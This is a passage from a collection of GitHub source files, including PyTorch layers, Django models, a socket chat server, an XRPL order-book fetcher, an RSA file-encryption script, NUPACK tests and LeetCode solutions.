eps\r\n self.use_layernorm = use_layernorm\r\n self.scale = nn.Parameter(torch.ones(1, 1, dim, dtype=torch.float32))\r\n self.bias = nn.Parameter(rand_uniform(shape=(1, 1, dim), min_val=-1e-3, max_val=1e-3))\r\n\r\n def forward(self, features):\r\n # Compute the norms and normalized features\r\n norm = features.norm(dim=-1).clamp(min=self.eps)\r\n phase = features / norm.unsqueeze(-1)\r\n if self.use_layernorm:\r\n std, mean = torch.std_mean(norm, dim=-1, keepdim=True)\r\n norm = (norm - mean) / (std + self.eps)\r\n transformed = self.nonlin(norm * self.scale + self.bias).unsqueeze(-1)\r\n\r\n # Nonlinearity on norm\r\n return (transformed * phase).view(*features.shape)\r\n\r\n\r\nclass CoordUnitNorm(nn.Module):\r\n \"\"\"Make coordinates have unit norm\"\"\"\r\n\r\n def __init__(self):\r\n super(CoordUnitNorm, self).__init__()\r\n pass\r\n\r\n def forward(self, coords: Tensor)->Tensor:\r\n return safe_normalize(coords, eps=1e-5, dim=(-1, -2))\r\n\r\n\r\nclass SeqNormSE3(nn.Module):\r\n def __init__(self, dim:int, nonlin=nn.ReLU, gamma_init=1e-5, beta_init=1, eps=1e-4, seq_dim=1):\r\n super().__init__()\r\n self.gamma = nn.Parameter(torch.ones((dim, 1)) * gamma_init)\r\n self.beta = nn.Parameter(torch.ones((dim, 1)) * beta_init)\r\n self.nonlin = nonlin\r\n self.eps = eps\r\n self.seq_dim = seq_dim\r\n\r\n def forward(self, feats):\r\n feat_norms = torch.norm(feats, dim=-1, keepdim=True)\r\n normed_feats = feats / (feat_norms + self.eps)\r\n std = torch.std(feat_norms, dim=self.seq_dim, keepdim=True) # std value for coord norm\r\n feat_norms = feat_norms / (std + self.eps)\r\n transformed_norms = (feat_norms * self.beta + self.gamma)\r\n return self.nonlin(transformed_norms) * normed_feats\r\n","repo_name":"MattMcPartlon/AttnPacker","sub_path":"protein_learning/networks/common/equivariant/norm.py","file_name":"norm.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","stars":50,"dataset":"github-code","pt":"21"} +{"seq_id":"36190055276","text":"from django.db import models\nfrom general.models import Articulo\nfrom datetime import date\nfrom django.contrib.auth.models import User\n\n# Create your models here.\n\n\nESTADOS = (\n ('Activo', 'Activo'),\n ('Inactivo', 'Inactivo')\n)\nclass Puja_Inversa(models.Model):\n fecha_inicio = models.DateField(default=date.today)\n fecha_cierre = models.DateField(default=date.today)\n pide_pujas = models.ForeignKey(User)\n estado = models.CharField(max_length=20, choices=ESTADOS)\n articulo = models.ForeignKey(Articulo)\n\nclass Ofertantes_Puja_Invertida(models.Model):\n vendedor = models.ForeignKey(User)\n puja_inversa = models.ForeignKey(Puja_Inversa)\n valor = models.DecimalField(max_digits = 12, decimal_places = 2)\n","repo_name":"PolarCommunity/subastax","sub_path":"puja_inversa/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15378808491","text":"import pandas as pd\n\ndef clip_series(s, lower, upper):\n return s.clip(lower=s.quantile(lower), upper=s.quantile(upper))\n\n\ndef main(df, lower, upper):\n df = df.copy()\n feature_list = list(['alpha', 'beta', 'miu_(i-rf)', 'miu_(m-rf)', 'se', 'sigma_(m-rf)'])\n\n for f in feature_list:\n df[f] = clip_series(df[f], lower, upper)\n\n return df\n\nimport argparse\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Removes repeated values from excel file')\n parser.add_argument('--regressions', help='the path to the file with the regressions data')\n parser.add_argument('--lower', type=int, help='lower_limit')\n parser.add_argument('--upper', type=int, help='upper limit')\n args = parser.parse_args()\n \n data = pd.read_csv(args.regressions, index_col=0)\n\n lower = args.lower / 100.0\n upper = args.upper / 100.0\n if not (0 <= lower <= 1):\n raise Exception('Lower limit is not between 0 and 100')\n if not (0 <= upper <= 1):\n raise Exception('Upper limit is not between 0 and 100')\n\n result = main(data, lower, upper)\n result.to_csv(args.regressions.split('.csv')[0] + '_w_'+str(args.lower) + '_' + str(args.upper)+'.csv')","repo_name":"laygr/The-Long-Horizon-Portfolios","sub_path":"methodology/winsorize.py","file_name":"winsorize.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"74346842614","text":"from itertools import repeat\n\nimport numpy as np\nimport nupack\n\nfrom multistrand.utils.thermo import (\n energy, defect, prob, sample, mfe, pairs,\n complex_free_energy, meltingTemperature, C2K)\n\n\ndef test_thermo_wrapper():\n \"\"\"\n Usage examples for the `utils.thermo` wrapper around NUPACK utilities [1].\n\n NOTE: \"In NUPACK 4, pseudoknots are excluded from the structural ensemble.\"\n\n [1] https://docs.nupack.org/\n \"\"\"\n rna_seq = ['GGGCUGUUUUUCUCGCUGACUUUCAGCCCCAAACAAAAAAUGUCAGCA']\n dna_pair = ['ACGT','GCTT']\n dna_seqs = ['AGTCTAGGATTCGGCGTGGGTTAA',\n 'TTAACCCACGCCGAATCCTAGACTCAAAGTAGTCTAGGATTCGGCGTG',\n 'AGTCTAGGATTCGGCGTGGGTTAACACGCCGAATCCTAGACTACTTTG']\n dna_struct = '+'.join(['((((((((((((((((((((((((',\n '))))))))))))))))))))))))((((((((((((.(((((((((((',\n '........................))))))))))).))))))))))))'])\n\n dG_ensemble = complex_free_energy(dna_seqs, material='dna')\n assert np.allclose(dG_ensemble, -62.6645)\n print(f\"Complex free energy of 3 DNA strands: {dG_ensemble:.3f} kcal/mol\")\n\n dG_ensemble = complex_free_energy(rna_seq, material='rna')\n assert np.allclose(dG_ensemble, -11.8452)\n print(f\"Complex free energy of 1 RNA strand: {dG_ensemble:.3f} kcal/mol\")\n\n dG = energy(dna_seqs, dna_struct, material='dna')\n assert np.allclose(dG, -61.7927)\n print(f\"Free energy of a DNA structure: {dG:.3f} kcal/mol\")\n\n n = defect(dna_struct, dna_seqs, material='dna')\n assert np.allclose(n, 0.06914)\n print(f\"Normalised complex ensemble defect for a DNA structure: {n:.3%}\")\n\n p = prob(dna_seqs, dna_struct, material='dna')\n assert np.allclose(p, 7.992e-05)\n print(f\"Probability of a DNA structure: {p:%}\")\n\n structs = sample(dna_seqs, 3, material='dna')\n print(\"Boltzmann sample of DNA structures:\")\n for s in structs:\n assert isinstance(s, nupack.Structure)\n assert ((np.array(s.dp()) == '+') == (np.array(dna_struct) == '+')).all()\n print(f\" {s}\")\n\n s0 = mfe(dna_seqs, material='dna')[0]\n assert isinstance(s0, nupack.thermo.StructureEnergy)\n print(\"MFE structure:\")\n print(f\" energy = {s0.energy:.3f} kcal/mol\")\n print(f\" {s0.structure}\")\n\n T = meltingTemperature(dna_seqs[0])\n print(f\"Melting temperature of a DNA duplex: {T - C2K:.3f} C\")\n\n pm = pairs(dna_pair, material='dna')\n assert isinstance(pm, nupack.PairMatrix)\n pmA = pm.to_array()\n assert pmA.shape == tuple(repeat(sum(map(len, dna_pair)), 2))\n assert (0 <= pmA).all() and (pmA <= 1).all()\n print(\"Pair probabilities of DNA strands:\")\n print(\" \" + str(pm).replace(\"\\n\", \"\\n \"))\n","repo_name":"DNA-and-Natural-Algorithms-Group/multistrand","sub_path":"test/test_thermo.py","file_name":"test_thermo.py","file_ext":"py","file_size_in_byte":2686,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"21"} +{"seq_id":"71010612533","text":"import os\n\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import padding\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import serialization\n\n\n# Get file paths\ndir_path = os.path.dirname(os.path.realpath(__file__))\nmess_path = os.path.join(dir_path,\"Messages\")\ninps = sorted(os.listdir(mess_path))\n\n\n# Get public key\npub_key = os.path.join(dir_path,\"Others-keys\",\"public_key.pem\")\nwith open(pub_key, \"rb\") as key_file:\n public_key = serialization.load_pem_public_key(\n key_file.read(),\n backend=default_backend()\n )\n\n\n# Function to encrypt a file\ndef encrypt_message(dir_path,message_file, public_key):\n\n # Read message\n message_path = os.path.join(dir_path,\"Messages\",message_file)\n f = open(message_path, 'rb')\n message = f.read()\n f.close()\n\n\n\n # Encrypt message\n encrypted = public_key.encrypt(\n message,\n padding.OAEP(\n mgf=padding.MGF1(algorithm=hashes.SHA256()),\n algorithm=hashes.SHA256(),\n label=None\n )\n )\n\n # Save encrypted message\n out_path = os.path.join(dir_path,\"Encrypted-messages\",message_file[:-4]+\".encrypted\")\n f = open(out_path, 'wb')\n f.write(encrypted)\n f.close()\n\n# Loop to encrypt all messages in \"Messages\"\nfor f in inps:\n encrypt_message(dir_path,f, public_key)","repo_name":"kvasu2/Public-key-encryption","sub_path":"encrypt.py","file_name":"encrypt.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19654861994","text":"class LevelBar(str):\n def __new__(cls, level: int):\n if int(level) < 1:\n raise ValueError(\"Level must be positive non-null integer\")\n\n return super().__new__(\n cls, cls.colorize(level) + f\"[gray74] {level}[/gray74]\"\n )\n\n @staticmethod\n def colorize(level: int) -> str:\n level = level\n bar = \"⢀⣀⣠⣤⣴⣶⣾⣿\"\n colors = [\n \"light_green\",\n \"green\",\n \"yellow\",\n \"gold1\",\n \"dark_orange\",\n \"orange_red\",\n \"red\",\n \"red3\",\n ]\n tmp = [\"gray35\"] * 8\n tmp[: level * 2] = colors[: level * 2]\n\n colored_bar = \"\"\n\n for i, char in enumerate(bar):\n colored_bar += f\"[{tmp[i]}]{char}\"\n\n return colored_bar\n","repo_name":"anthonyraf/linetasker","sub_path":"linetasker/utils/levelbar.py","file_name":"levelbar.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"25973308843","text":"import view\nimport operations as op\n\ndef run_paper_stock():\n check = False\n while not check:\n run = view.main_menu()\n data_json = op.read_data('paper_stock.json')\n if run == 'r': # выводим в консоль таблицы из файла\n op.print_all_list(data_json)\n elif run == 'f': # запускаем поиск по заданному значению и выводим результат в консоль\n find_value = view.user_find()\n op.find_data(data_json, find_value)\n elif run == 'new': # добавляем новую строку в таблицы: генерируем новый id , пользователь вносит новые данные, записываем их в сенерированный id\n new_id = op.generate_id(data_json)\n new_tuple = view.input_new_position(new_id)\n op.add_new_data(data_json, 'paper_stock.json', new_tuple)\n elif run == 'e': # редактирование: запрашиваем id у пользователя, выводим старые данные по id в консоль, пользователь их копирует, вставляет и исправляет. после этого перезаписываем файл.\n edit_id = view.edit_id()\n data = op.edit_stock(data_json, edit_id)\n op.write_edit_data(data, 'paper_stock.json')\n elif run == 'd': # запрашиваем у пользователя id для удаления, показываем ему строку, которую он собирается удалить и уточняем, точно ли он собирается её удалить, затем удаляем все данные с этим id, перезаписываем файл\n del_id = view.delete_id()\n data = op.delete(data_json,del_id)\n if data == False:\n continue\n op.write_edit_data(data, 'paper_stock.json')\n elif run == 'l':\n log = op.read_log('log.txt')\n elif run == 'q': # quit - выходим из цикла\n check = not check\n else:\n print(\"command entered incorrectly, repeat enter, please.\\n\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Noleeen/Python_PyCharm","sub_path":"HomeWork/hw_8_stoke of papers/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":2310,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"6045234703","text":"\r\nfrom pathlib import Path\r\nfrom PIL import Image\r\nimport numpy\r\n\r\n#define constants\r\nLATITUDE = 5\r\nLONGITUDE = 6\r\nFUEL_TYPE = 7\r\nTHRESHOLD_SCALE = 2.5 #how much bigger than the average do we count as clouds\r\n\r\ndef read_file(file_name):\r\n \"\"\"\"\r\n This function reads the database of power stations from the file supplied and returns a 2d list of power stations\r\n :param file_name: The name of te csv file to read\r\n :type contents: 2d list\r\n :returns: 2d list of power stations\r\n \"\"\"\r\n contents = [] #will hold the contents of the file\r\n in_file = open(file_name, \"r\", encoding=\"utf8\") #open the file\r\n for line in in_file:\r\n line = line.strip()\r\n entry = line.split(\",\") #split each line at a comma\r\n contents.append(entry) #add to list\r\n in_file.close()\r\n return contents\r\n\r\ndef is_it_night(image_array):\r\n \"\"\"\"\r\n This function takes an image array and works out whether it's night time\r\n \"\"\"\r\n # work out the dimensions of the image\r\n window=500\r\n width = image_array.shape[1]\r\n height = image_array.shape[0]\r\n pixel_count = width * height\r\n start_w= (width //2)-window\r\n stop_w = (width //2)+window\r\n start_h= (height//2)-window\r\n stop_h= (height //2) + window\r\n im_trim = image_array[start_w:stop_w, start_h:stop_h]\r\n pixel_count = (stop_w - start_w) * (stop_h -start_h)\r\n x_range = (stop_w - start_w) \r\n y_range= (stop_h -start_h)\r\n black = 0\r\n \r\n array_sum = im_trim.sum(axis=(0, 1))\r\n red_threshold = array_sum[0] / (pixel_count )\r\n green_threshold = array_sum[1] / (pixel_count ) \r\n blue_threshold = array_sum[2] / (pixel_count )\r\n if red_threshold < 10 and green_threshold < 10 and blue_threshold < 10:\r\n return True\r\n else:\r\n\r\n return False\r\ndef convert_time_stamp(time):\r\n #print(time)\r\n fname=time[0:4]+time[5:7]+ time[8:10]+\"_\"+time[11:13]+time[14:16]+time[17:19]\r\n #print(fname)\r\n return fname\r\n\r\n#############################################################\r\npower_stations = read_file(\"solarandwind2.csv\")\r\nISS_logs = read_file(\"logfile.csv\")\r\n#remove the first line\r\n#files=[]\r\nISS_logs = ISS_logs[1:]\r\nfor log in ISS_logs:\r\n for i in range(1,8):\r\n log[i]=float(log[i])\r\n #files.append(str(\"images/\" + convert_time_stamp(log[0]) + \"-output.jpg\"))\r\n \r\n\r\n#print(ISS_logs[0])\r\n# assign directory\r\ndirectory = 'images'\r\n \r\n# iterate over files in\r\n# that directory\r\nfiles = Path(directory).glob('*')\r\nfor file in files:\r\n f_hour=int(str(file)[16:18])\r\n f_minutes=int(str(file)[18:20])\r\n f_sec=int(str(file)[20:22])\r\n #print (f_hour,f_minutes,f_sec)\r\n \r\n\r\n #print(file)\r\n for log in ISS_logs:\r\n hour=int(log[0][11:13])\r\n minutes=int(log[0][14:16])\r\n secs= int(log[0][17:19])\r\n if secs > 55:\r\n wrap=\"Down\"\r\n elif secs <=6:\r\n wrap=\"Up\"\r\n else:\r\n wrap=\"No\"\r\n if wrap == \"No\":\r\n if(f_hour == hour and f_minutes == minutes and (f_sec > secs -6) and (f_sec < secs +6)) : #and wrap == \"No\" :# or (f_hour == hour and f_minutes == minutes-1 and (f_sec > 0)and (f_sec < secs +6)) and wrap==\"Down\"or (f_hour == hour and f_minutes == minutes+1 and (f_sec > secs-6)and (f_sec < 60)) and wrap==\"Up\" :\r\n #print(\"Matched:\", log)\r\n log.append(str(file))\r\n current_image = Image.open(file)\r\n current_image = current_image.convert(mode=\"RGB\")\r\n image_array = numpy.asarray(current_image)\r\n if is_it_night(image_array) :\r\n log.append(\"Night\")\r\n else:\r\n log.append(\"Day\")\r\n elif wrap == \"Down\":\r\n # near the minute\r\n if(f_hour == hour and f_minutes == minutes and (f_sec > secs -6)) or (f_hour == hour and f_minutes == minutes+1 and(f_sec < 6)) : #and wrap == \"No\" :# or (f_hour == hour and f_minutes == minutes-1 and (f_sec > 0)and (f_sec < secs +6)) and wrap==\"Down\"or (f_hour == hour and f_minutes == minutes+1 and (f_sec > secs-6)and (f_sec < 60)) and wrap==\"Up\" :\r\n #print(\"Matched:\", log)\r\n log.append(str(file))\r\n current_image = Image.open(file)\r\n current_image = current_image.convert(mode=\"RGB\")\r\n image_array = numpy.asarray(current_image)\r\n if is_it_night(image_array) :\r\n log.append(\"Night\")\r\n else:\r\n log.append(\"Day\")\r\n elif wrap == \"Up\":\r\n # near the minute\r\n if(f_hour == hour and f_minutes == minutes-1 and (f_sec > 55)) or (f_hour == hour and f_minutes == minutes and(f_sec < secs+ 6)) : #and wrap == \"No\" :# or (f_hour == hour and f_minutes == minutes-1 and (f_sec > 0)and (f_sec < secs +6)) and wrap==\"Down\"or (f_hour == hour and f_minutes == minutes+1 and (f_sec > secs-6)and (f_sec < 60)) and wrap==\"Up\" :\r\n #print(\"Matched:\", log)\r\n log.append(str(file))\r\n current_image = Image.open(file)\r\n current_image = current_image.convert(mode=\"RGB\")\r\n image_array = numpy.asarray(current_image)\r\n if is_it_night(image_array) :\r\n log.append(\"Night\")\r\n else:\r\n log.append(\"Day\")\r\n # if f_hour == hour and f_minutes == minutes and (secs -6)< 0:\r\n # print(\"file not matched: \",file, f_sec, secs)\r\n \r\nmyFile=open(\"updatedISS.csv\",\"w\")\r\nfor log in ISS_logs:\r\n line=\"\"\r\n for item in log:\r\n line = line + str(item) +\",\"\r\n line = line[:-1]\r\n myFile.write(line+\"\\n\")\r\nmyFile.close()\r\n\r\n","repo_name":"MrPFletcher/AstroPi-Up-and-Atom","sub_path":"Process results/munge.py","file_name":"munge.py","file_ext":"py","file_size_in_byte":5382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1834967842","text":"#!/usr/bin/python\n\n# Author: n-anselm\n# Date created: 221105\n# Date modified: 221105\n# Description: Print numbers in the Fibonacci sequence\n# Fibonnaci sequence: https://en.wikipedia.org/wiki/Fibonacci_number\n\ndef main():\n count = 10\n current = 1\n hist_list = [0] # Will contain the two previous numbers\n\n # Number of iterations is set by \"count\" variable\n for i in range(0, count):\n print(current)\n hist_list.append(current)\n current = hist_list[-1] + hist_list[-2] # Add the two previous numbers to get the new number\n\n # Pop out the first item in the list so that the list length stays at 2\n if len(hist_list) > 2:\n hist_list.pop(0)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"n-anselm/Fibonacci-Gen-Python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37856623166","text":"from typing import List\n\nfrom xrpl.models.requests.book_offers import BookOffers\nfrom xrpl.utils import drops_to_xrp\n\nfrom ..constants import DEFAULT_LIMIT\nfrom ..models import (\n FetchOrderBookParams,\n FetchOrderBookResponse,\n OrderBook,\n OrderBookEntry,\n OrderBookLevel,\n OfferFlags,\n OrderSide,\n MarketSymbol,\n)\nfrom ..utils import handle_response_error\n\n\nasync def fetch_order_book(\n self,\n symbol: MarketSymbol,\n limit: int = DEFAULT_LIMIT,\n params: FetchOrderBookParams = FetchOrderBookParams(),\n) -> FetchOrderBookResponse:\n \"\"\"\n Retrieves order book data for a single market pair.\n\n Parameters\n ----------\n symbol : xrpl_dex_sdk.models.MarketSymbol\n Market symbol to get order book for\n limit : int\n (Optional) Total number of entries to return (default is 20)\n params : xrpl_dex_sdk.models.FetchOrderBookParams\n (Optional) Additional request parameters\n\n Returns\n -------\n xrpl_dex_sdk.models.FetchOrderBookResponse\n Order book\n \"\"\"\n\n taker_pays = {\n \"currency\": symbol.base.currency,\n }\n\n if symbol.base.issuer != None:\n taker_pays[\"issuer\"] = symbol.base.issuer\n\n taker_gets = {\n \"currency\": symbol.quote.currency,\n }\n\n if symbol.quote.issuer != None:\n taker_gets[\"issuer\"] = symbol.quote.issuer\n\n book_offers_request = {\n \"taker_pays\": taker_pays,\n \"taker_gets\": taker_gets,\n \"limit\": params.search_limit,\n \"ledger_index\": params.ledger_index if params.ledger_index != None else \"validated\",\n }\n\n if params.ledger_hash != None:\n book_offers_request[\"ledger_hash\"] = params.ledger_hash\n if params.taker != None:\n book_offers_request[\"taker\"] = params.taker\n\n book_offers_response = await self.client.request(BookOffers.from_dict(book_offers_request))\n book_offers_result = book_offers_response.result\n handle_response_error(book_offers_result)\n\n offers = book_offers_result[\"offers\"]\n level: OrderBookLevel = OrderBookLevel.L2\n bids: List[OrderBookEntry] = []\n asks: List[OrderBookEntry] = []\n nonce = 0\n\n for offer in offers:\n\n side: OrderSide = (\n OrderSide.Sell\n if offer[\"Flags\"] & OfferFlags.LSF_SELL.value == OfferFlags.LSF_SELL.value\n else OrderSide.Buy\n )\n\n base_amount = offer[\"TakerPays\"] if side == OrderSide.Buy else offer[\"TakerGets\"]\n base_value = float(\n base_amount[\"value\"] if \"value\" in base_amount else drops_to_xrp(base_amount)\n )\n\n quote_amount = offer[\"TakerGets\"] if side == OrderSide.Buy else offer[\"TakerPays\"]\n quote_value = float(\n quote_amount[\"value\"] if \"value\" in quote_amount else drops_to_xrp(quote_amount)\n )\n\n order_book_entry = [quote_value / base_value, base_value]\n\n if side == OrderSide.Buy:\n bids.append(order_book_entry)\n else:\n asks.append(order_book_entry)\n\n nonce = offer[\"Sequence\"]\n\n if len(bids) + len(asks) >= limit:\n break\n\n return OrderBook(symbol=symbol, nonce=nonce, bids=bids, asks=asks, level=level)\n","repo_name":"AktaryTech/xrpl-dex-sdk-python","sub_path":"xrpl_dex_sdk/methods/fetch_order_book.py","file_name":"fetch_order_book.py","file_ext":"py","file_size_in_byte":3171,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"73888438452","text":"class Solution:\n\n # time: O(n^2), space: O(n)\n def smallerNumbersThanCurrent(self, nums: List[int]) -> List[int]:\n output = []\n for i in range(len(nums)):\n res = 0\n for j in range(len(nums)):\n if i != j and nums[j] < nums[i]:\n res += 1\n output.append(res)\n return output\n\n # time: O(n+nlogn), space: O(n)\n def smallerNumbersThanCurrent(self, nums: List[int]) -> List[int]:\n d = {}\n for i, n in enumerate(sorted(nums)):\n if n not in d:\n d[n] = i\n return [d[n] for n in nums]\n\n # time: O(n+nlogn), space: O(n)\n def smallerNumbersThanCurrent(self, nums: List[int]) -> List[int]:\n sortedlist = sorted(nums)\n return [sortedlist.index(n) for n in nums]\n\nif __name__ == '__main__':\n s = Solution()\n print(s.smallerNumbersThanCurrent([8,1,2,2,3]))","repo_name":"xiaofanc/leetcode","sub_path":"1365-how-many-numbers-are-smaller-than-the-current.py","file_name":"1365-how-many-numbers-are-smaller-than-the-current.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43568908198","text":"from django.db import models\nimport datetime\n\n# Create your models here.\n\n\nclass AppsIds(models.Model):\n data = models.TextField(default=\"[]\")\n ids = models.TextField(default=\"[]\")\n in_progress = models.BooleanField(default=False)\n last_updated = models.DateField(default=datetime.date(2021, 3, 24))\n progress = models.CharField(default='', max_length=200)\n","repo_name":"sovladlisin/vtarget-backend","sub_path":"app_stats/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17375829431","text":"import json\nimport select\nfrom json import JSONDecodeError\nfrom socket import AF_INET, SOCK_STREAM, socket\nfrom typing import Optional\n\nfrom jsonschema.exceptions import ValidationError\n\nfrom .logger import logger\nfrom gb_chat.tools.validator import Validator\nfrom gb_chat.tools.responses import error_400, error_500, ok, RESPONSE\nfrom gb_chat.tools.requests import request_msg\nfrom gb_chat.tools.descriptors import Port\nfrom gb_chat.metaclass import ServerVerifier\n\n\nclass ChatServer(metaclass=ServerVerifier):\n port = Port()\n\n def __init__(self, config):\n self.clients = {}\n self.socket = None\n self.address = config[\"address\"]\n self.port = config[\"port\"]\n self.listen = config[\"listen\"]\n self.timeout = config[\"timeout\"]\n self.validator = Validator(config[\"schema\"])\n self.encoding = config[\"encoding\"]\n self.limit = config[\"input_limit\"]\n self.select_wait = config[\"select_wait\"]\n\n def init_socket(self):\n _socket = socket(AF_INET, SOCK_STREAM)\n _socket.bind((self.address, self.port))\n _socket.settimeout(self.timeout)\n self.socket = _socket\n self.socket.listen(self.listen)\n logger.info(\"Server started at {address}:{port}, timeout={timeout}, listen={listen}\".format(\n address=self.address, port=self.port, timeout=self.timeout, listen=self.listen\n ))\n\n def get_data(self, *, client: socket) -> dict:\n try:\n data = client.recv(self.limit).decode(self.encoding)\n data = json.loads(data)\n return data\n except ConnectionResetError:\n logger.info(str(client.getpeername()) + \" disconnected\")\n self.clients.pop(client)\n\n def send_data(self, *, client: socket, data: dict):\n data = json.dumps(data).encode(self.encoding)\n client.send(data)\n\n def action(self, client: socket, data: dict) -> Optional[dict]:\n msg = None\n action = data[\"action\"]\n if action == \"msg\":\n if self.validator.validate_data(action, data):\n msg = data\n elif action == \"presence\":\n if self.validator.validate_data(action, data):\n self.send_data(client=client, data=ok())\n elif action == \"authenticate\":\n if self.validator.validate_data(action, data):\n pass\n elif action == \"quit\":\n if client in self.clients:\n msg = request_msg(\n sender=\"server\", to=\"global\", encoding=self.encoding,\n message=\"Пользователь: {user}, покинул чат!\".format(user=self.clients[client])\n )\n self.quite(client, ok(\"Goodbye!\"))\n elif action == \"join\":\n pass\n elif action == \"leave\":\n pass\n return msg\n\n def quite(self, client: socket, msg: dict):\n if client in self.clients:\n self.clients.pop(client)\n self.send_data(client=client, data=msg)\n client.close()\n\n def writer(self, clients: list[socket], msgs: dict):\n for sender, msg in msgs.items():\n if msg[\"to\"] == \"#server\":\n for client in clients:\n try:\n self.send_data(client=client, data=msg)\n except ConnectionResetError:\n if client in self.clients:\n log = str(client.getpeername()) + \" disconnected\"\n logger.info(log)\n self.clients.pop(client)\n elif msg[\"to\"] in self.clients.values():\n client = list(self.clients.keys())[list(self.clients.values()).index(msg[\"to\"])]\n self.send_data(client=client, data=msg)\n\n def reader(self, clients: list[socket]) -> dict:\n error = None\n msgs = {}\n for client in clients:\n try:\n data = self.get_data(client=client)\n if self.validator.validate_data(\"action\", data):\n if data[\"action\"] == \"msg\":\n self.validator.validate_data(\"msg\", data)\n data = self.action(client, data)\n if data is not None:\n msgs[client] = data\n except (JSONDecodeError, ValidationError) as e:\n error = error_400()\n logger.error(str(e))\n finally:\n if error is not None:\n try:\n self.send_data(client=client, data=error)\n client.close()\n except ConnectionResetError:\n if client in self.clients:\n user = self.clients.pop(client)\n msg = \"Пользователь: '{user}' покинул чат!\".format(user=user)\n msgs[client] = request_msg(sender=\"server\", to=\"#server\",\n encoding=self.encoding, message=msg)\n logger.info(\"Потеряно соединение с: {}\".format(client.getpeername()))\n\n return msgs\n\n def accept(self):\n try:\n client, addr = self.socket.accept()\n except OSError:\n return\n logger.info(\"Запрос на соединение от: {}\".format(addr))\n client.settimeout(self.select_wait)\n try:\n data = self.get_data(client=client)\n client.settimeout(None)\n if self.validator.validate_data(\"presence\", data):\n user = data[\"user\"][\"account_name\"]\n if user not in self.clients.values():\n self.clients.setdefault(client, user)\n self.send_data(client=client, data=ok(\"Welcome\"))\n else:\n self.send_data(client=client, data=error_400(code=409))\n client.close()\n logger.error(\"User: {user}, {error}\".format(user=user, error=RESPONSE[409]))\n except OSError:\n return\n except (JSONDecodeError, ValidationError) as e:\n self.send_data(client=client, data=error_400())\n client.close()\n logger.error(str(e))\n\n def run(self):\n self.init_socket()\n while True:\n self.accept()\n read = []\n write = []\n error = []\n try:\n read, write, error = select.select(self.clients.keys(), self.clients.keys(), [], self.select_wait)\n except OSError:\n pass\n msgs = self.reader(read)\n if msgs:\n self.writer(write, msgs)\n","repo_name":"Zhdanov-Vyacheslav/gb_async-chat","sub_path":"gb_chat/server/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73888532852","text":"\"\"\"\nYou are given a 0-indexed string num representing a non-negative integer.\n\nIn one operation, you can pick any digit of num and delete it. Note that if you delete all the digits of num, num becomes 0.\n\nReturn the minimum number of operations required to make num special.\n\nAn integer x is considered special if it is divisible by 25.\n\nInput: num = \"2245047\"\nOutput: 2\nExplanation: Delete digits num[5] and num[6]. The resulting number is \"22450\" which is special since it is divisible by 25.\nIt can be shown that 2 is the minimum number of operations required to get a special number.\n\n\"\"\"\nclass Solution:\n def minimumOperations(self, num: str) -> int:\n # A number is divisible by 25 if it ends with 00, 25, 50, or 75 / 0\n zero, two, five, seven = 0, 0, 0, 0\n n = len(num)\n for i in range(len(num)-1,-1,-1):\n if num[i] == \"0\":\n zero += 1\n if zero == 2:\n return n-i-2\n elif num[i] == \"2\":\n two += 1 \n if two >= 1 and five >= 1: # 255, 25522222\n return n-i-2\n elif num[i] == \"5\":\n five += 1\n if five >= 1 and zero >= 1:\n return n-i-2\n elif num[i] == \"7\":\n seven += 1\n if seven >= 1 and five >= 1:\n return n-i-2\n if zero == 1:\n return n-1\n return n\n \n \nclass Solution:\n def minimumOperations(self, num: str) -> int:\n zero, five = False, False\n l = len(num)\n for i in range(len(num)-1,-1,-1):\n n = num[i]\n if zero and n == \"0\": return l-i-2\n if zero and n == \"5\": return l-i-2\n if five and n == \"2\": return l-i-2\n if five and n == \"7\": return l-i-2\n if n == \"0\":\n zero = True\n if n == \"5\":\n five = True\n if zero:\n return l-1\n return l\n\n\n \n","repo_name":"xiaofanc/leetcode","sub_path":"contest/361/2844-minimum-operations-to-make-a-special-number.py","file_name":"2844-minimum-operations-to-make-a-special-number.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42359723516","text":"import argparse\nimport os\n\nimport pandas as pd\n\nfrom cf_analyses.analysis_grammaticality import filter_corpora\nfrom cf_analyses.analysis_intelligibility import filter_utts_for_num_words\nfrom cf_analyses.cr_ack_annotations import annotate_crs_and_acks\nfrom utils import (\n MICRO_CONVERSATIONS_WITHOUT_NON_SPEECH_FILE, 